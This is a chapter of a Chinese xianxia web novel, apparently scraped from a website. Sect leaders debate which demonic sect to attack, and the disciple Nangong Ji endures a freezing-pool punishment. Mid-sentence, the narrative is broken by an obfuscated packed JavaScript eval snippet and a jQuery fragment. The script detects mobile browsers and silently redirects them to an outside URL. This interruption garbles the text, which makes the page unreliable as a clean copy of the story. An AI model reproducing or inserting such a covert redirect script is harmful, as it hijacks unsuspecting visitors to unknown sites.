46. 第四十五回 六仙门议事天启阁
作品:《邪门外道》 周清江一开口,说的也正是要事,可此言一出,几人顿时又陷入争执之中。
李蜀最先开口道:“那自当是直奔遥山、直取逍遥无处宫!”
晨明师太却当即反驳道:“此次妖女虞嫣之举必定是受了那魔君朗坤指使,前来挑衅我等,难道你看不出来吗?”
李蜀怒视晨明师太大喝道:“师太,同为一门之长,你怎可如此小看人?我怎会连这等小事都看不出来?”
晨明师太嗤笑问道:“既然你看得出来、明知是计,你还要往里跳?”
李蜀义正词严道:“既然明知是那魔君朗坤恶意挑衅我六大仙门,我等自当肩负起斩妖除魔、匡扶正义、清邪正本之大义,须得迎难而上,以壮我仙门之威。”
廖玉冰不禁摇头叹息道:“李掌门糊涂啊!既然明知此乃魔君之计、明知对方必定早有准备,说不定那魔君早已在遥山碧水布下天罗地网就等着我们上钩呢,我等又岂能正中下怀、自投罗网?”
李蜀又道:“可倘若不去,我堂堂六大仙门岂不成了被世人取笑的笑柄?再说,说不定那朗坤亦如尔等所想,因此根本并未准备,只是虚张声势,所用非阴谋,乃‘阳谋’。我等不放赌上一番,倘若那魔君并无准备,我等正好趁此良机剿灭魔窟!”
和容坤也叹息道:“李兄,你想法是好,所言也有几分道理,可仙门大业又岂能靠打赌行事?我等可不好带着诸多弟子一同赌命啊!”
李蜀不好强坚持下去,便只好一声长叹坐了下去:“唉,好,那你们诸位说该先攻哪一门好!”
晨明师太道:“以我之见,离恨天与屠仙神教皆可先攻。据栽,离恨天在上一次清邪正本之中惨遭重创,一度绝迹,如今虽然已经过了数十年,可离恨天依旧未能恢复过来,可作为先攻之地;而屠仙神教,乃是在上一代毒门万虿宫之上推倒重建而成,至今才不过十数年时间而已,本就是四邪门之中最为孱弱者,作为先攻之地亦很合适。”
晨明师太所言看似句句在理,可实际口中所说这两邪门却刚好将金真派包夹其中,无论现行剿灭哪一门,对金真派而言都是好事。
而接下来几位掌门各有论断,四邪门也都被说了一遍,各个看似大义凛然,但实则都是在为本门利益考量。若是就这么商讨下去,怕是直至明年虞嫣再来,他们也商讨不出个结果来。
最终,又是周清江道:“既然诸位都不愿意妥协退让,那不如先各自回去,正好此次大会少了个天道派的丁掌门,钟掌门又重伤不得不现行返回,纵是我等商议出了结果,若丁掌门不赞同,届时他必定不会妥协,又要有一番争执。”
这番言论一出,几人纷纷赞同,并很快商议决定先各自返回,于下月十五相聚于天启阁,再议此事。
当晚,周清江再度设宴,款待众宾客,只是他这位掌门并未再现身,他早早返回玄镜山上开始疗伤。
翌日,所有宾客纷纷启程离开,众玄镜弟子也在送走全部宾客后,也迅速返回玄镜山。至此,本届仙门盛会彻底结束。
周清江闭关静养,而在他闭关之前,特地下令对南宫稷严加看管并处以“冽刑”。
仙门之中素有“三大刑”作为最严酷的惩罚以警示弟子,通常是棍刑、鞭刑、水刑,但各门派之间也会因各自情况而各有不同。就玄镜门而言,其中的“水刑”,便改为极为独特的“冽刑”。
玄镜山乃是附近一片山脉的总称,想要修行精进,便要排除万难前往更深的山林之中,山愈深,其境愈险,奇景愈盛,对修行也愈有裨益。许多世间难见的奇峰美景藏匿于玄镜山深处那群峦叠嶂之中,其中便有一洌镜池。
传闻洌镜池乃是仙家修行之地,池中之水刺骨凛冽至极却常年不结冰,且常有七彩雾气、斑斓荧光漂浮于水面之上,景致诡谲奇异之极。此地虽是吸纳天地灵气之宝地,但此地气息实在是太过诡谲凛冽,常人根本无法靠近,更无福消受其中过剩地灵气精气,哪怕是修行之人,入池中也难待上片刻,便觉浑身刺痛至极犹如粉身碎骨、肝肠寸断一般。但若能视这洌镜池水如常,便是已入化境的证明。
也正因此,寻常弟子从不被允许入玄镜深山之中,也不允许靠近洌镜池。后来,“入洌镜池”便也不再是门派之中的修行之法,反而取代了寻常水刑,成了“三大刑”之一。
所谓“冽刑”,便是将身体浸于洌镜池中,强行忍耐池中极寒之气的侵蚀和折磨。
由于南宫稷乃是整个门派修为最高的弟子,对他的惩罚也最为严苛。寻常弟子即便是遭冽刑,也是以一刻为一轮刑罚,每日十二轮,最多罚三日。可到了南宫稷这儿,一轮刑罚为一个时辰,每日最少要十轮,刑期为七日,真可谓严酷至极。
周清江更是派出大弟子曾镜水前来监刑。
曾镜水拍了拍南宫稷的肩道:“三师弟,师兄也不想为难你,但师命难违,既然你犯了错,就乖乖受罚吧。”
周清江之所以要罚南宫稷,一是他未能当众处决虞嫣,为门派清理门户;二则是他竟败于虞嫣,教玄镜派当众丢人。
南宫稷一言未发,径直穿过乱石堆和荆棘丛到洌镜池边,宽衣解带,赤身入洌镜池中。周清江并未说明要他在这池中何处受罚,因此他便只是站在池中几尺之处,水深及腰。
曾镜水远远地望着这一幕便不禁搓搓手、撇撇嘴,可心中却也生出几分敬佩来。即便他站在这儿距洌镜池有数丈之遥,可他依旧感觉脚下生风、寒意刺骨,无法想象赤身入洌镜池究竟会是何种感受。
洌镜池水至清至寒,可站在池边依然只能看见池面之上烟笼雾罩,无法看清池水。池水沾身,感觉已经不像是水,而似流淌着的冰,又似流动着的雪。池水裹挟着过重的寒意迅速穿透皮肉浸入骨髓,剥皮拆肉、锥心刺骨之痛不过如此!而更为残酷的是,人浸在池水中,身体却不会因为寒意而逐渐麻痹,痛感反而伴随着时间的推移愈发清晰。
纵有修为者
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861329|159442||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如南宫稷这般,也不禁眉头紧蹙、紧咬牙关,却依然能清晰无比地感觉浑身剧痛难耐,不过片刻,额头、脊背便覆上了一层细密的汗珠,汗珠被池面凛冽的寒气升华,裹挟着寒气覆在他并未被池水包裹的额头、脖颈、脊背,让他整个人仿佛已经完全浸泡在池水之中,浑身上下各处都忍受着刀剜血肉般的剧痛。
南宫稷深吸一口气,缓缓合上了双眸,企图平复心绪,以对抗这难以形容的痛苦。可正当他的思绪渐趋平复之时,脑中竟浮现起游舫之中他与虞嫣共度的那一晚,那一页灯火迷离,轻纱旖旎,温香软玉在怀,他心醉神迷……
回想起那夜发生之事,他不禁面红耳赤、心跳加速,可他心神愈乱、心跳愈烈,周身受池水侵蚀也愈深、痛楚愈盛,痛得他双腿发软、浑身颤抖,几乎要站不住。
而痛楚最为剧烈之处,竟是身体那极阳之处,撕心裂肺的疼撕扯着他的皮肉、刀剜着他的神经,令他痛不欲生,全然不知如何是好。可他仍只能凭借着毅力勉强维持着站姿。若是跌入池中,他周身便会完全浸泡在池中,痛楚只会愈演愈烈。
他知道这乃是师门对他心不静、气难平的惩罚,心中杂念愈盛,愈是对修行有害,他遭受的惩罚也会愈重。
这会儿,曾镜水居然已经有些耐不住这股寒意。
他虽是长席弟子,初入师门之时也天资聪颖、深受周清江喜爱,可如今他与南宫稷和陆霄的差距早已无法估量,他自知自己方方面面都比不得这两位师弟,却仍心有不甘,总明里暗里地跟这二人较劲。可偏偏此次盛会之中,无论是论剑比武,还是之后的对战虞嫣,竟全无他下场大展身手的机会。
曾镜水也早听说此地乃是积蓄天地灵气的绝佳修行之地,本想着借此机会也好好修行精进一番,好在一月之后的“清邪正本”大业之中大展身手。可奈何此地寒气过重,才忍了一刻,他便再忍无可忍,干脆用灵力传音,将山脚下经过的几个弟子叫了上来。
几个弟子刚上来,便觉得浑身发冷,忍不住搓手搓脚。
“哎,师兄我要去山中修行,你们轮流替我看着他,站的远一点,只要能看见人就行。算好了时辰,每次入池不足一个时辰不能出来;一轮冽刑后,出池歇息不可超过一刻,便要令他再入池中。你们可要好生看管着,顺便也趁此机会修行精进一番,都听好了没?”
几个小辈弟子也不好违抗大师兄的命令,只好站的更高更远些来看着南宫稷。
但南宫稷又怎需他人来看管?他若是想逃、想避开责罚,自有千万种方式,如今既然他已经甘愿受罚,压根也不需要旁人盯梢。
才不过半个时辰,南宫稷已经被剧痛折磨得几乎要神志不清。朦胧间,他仿佛听到一个声音对他说:“靖坤本是仙家人,落地自有仙灵根。而今竟为情所困,斩断情根或可成。”
南宫稷却猛摇头道:“不要,我不要!”
他呼吸急促、气息凌乱,可口中声音却斩钉截铁。

